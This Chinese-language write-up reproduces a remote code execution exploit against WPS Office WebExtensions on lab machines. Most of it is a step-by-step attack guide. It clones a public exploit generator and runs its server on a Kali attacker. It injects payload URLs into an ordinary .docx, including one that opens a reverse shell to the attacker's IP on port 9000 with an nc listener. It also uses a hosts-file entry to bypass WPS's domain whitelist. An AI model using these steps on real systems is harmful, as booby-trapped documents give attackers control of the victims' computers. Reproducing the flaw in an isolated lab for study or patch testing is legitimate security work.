目录
一、漏洞描述
Office中的WebExtension(通常称为Office插件或Office应用程序) 是一种用于扩展Microsoft Office功能的技术。Office插件使第三方开发者能够在Office应用程序中集成自己的服务和功能。这些插件采用跨平台的Web技术(如HTML,CSS和JavaScript)开发,可以在不同的平台和设备上运行。
简单理解就是Office内置了一个浏览器,可以解析html/javascript/css代码,本次的漏洞,就是WPS在处理WebExtension时,未能正确的处理javascript代码,造成了溢出RCE(可参考之前Chrome被曝出的RCE漏洞、微信Windows版<3.1.2.141存在RCE漏洞,较为类似)
二、漏洞环境/测绘指纹
- WPS Office 2023个人版 < 11.1.0.15120
- WPS Office 2019企业版 < 11.8.2.12085
三、漏洞复现
靶机下载漏洞环境包:
https://official-package.wpscdn.cn/wps/download/WPS_Setup_12300.exe
前期准备
1.环境
攻击机 : kali: 192.168.137.128
靶机: win10: 192.168.137.129
2.工具使用
将doc生成工具放置到攻击机上并运行
git clone https://github.com/ba0gu0/wps_rce
或下载拖入后解压
解压后进入
- 安装对应的依赖
- 程序需要使用python3.8以上的版本才能够正常运行。
- 程序只在Mac/Linux上进行了测试,Windows上运行出现问题,不再进行解答(自行找Linux虚拟机测试)。
cd wps-rce-main
pip install -r requirement.txt -i https://pypi.tuna.tsinghua.edu.cn/simple
cd wps-rce-main/server
python3 main.py
访问攻击机的80端口如下
3.制作payload
① 弹出计算器的payload
cd wps-rce-main/client/
将正常的a.docx文件上传至当前目录下
python3 main.py a.docx http://clientweb.docer.wps.cn.hackwps.cn/calc
会在当前目录下生成另一个DOCX文档
将生成的文档放置到靶机上准备
4.靶机上修改好host文件
(1)文件位置C:\Windows\System32\drivers\etc
(2)在文件最后一行添加:192.168.137.128 clientweb.docer.wps.cn.hackwps.cn(域名可改目的是为了绕过白名单限制)
测试弹出计算机
在靶机上打开上述生成的DOCX文档,即可弹出计算器
测试反弹shell
① 与弹出计算器的payload生成方式一样
访问攻击机的80端口
将正常的a.docx文件上传至当前目录后 ,制作payload
python3 main.py a.docx http://clientweb.docer.wps.cn.hackwps.cn/shell/192.168.137.128/9000
会在当前目录下生成另一个DOCX文档
② 攻击机上nc - lnvp 9000
③ 在靶机上打开上述生成的DOCX文档
踩坑记录
1.windows设置host文件时,IP地址填错,排查时一直没留意看细节,导致访问不到。
2.wps版本此次所用为12300,多次尝试后发现因下载问题,测试时总是自动用其他版本wps打开,导致有时能弹,有时不能。设置用规定版本wps打开world后均成功。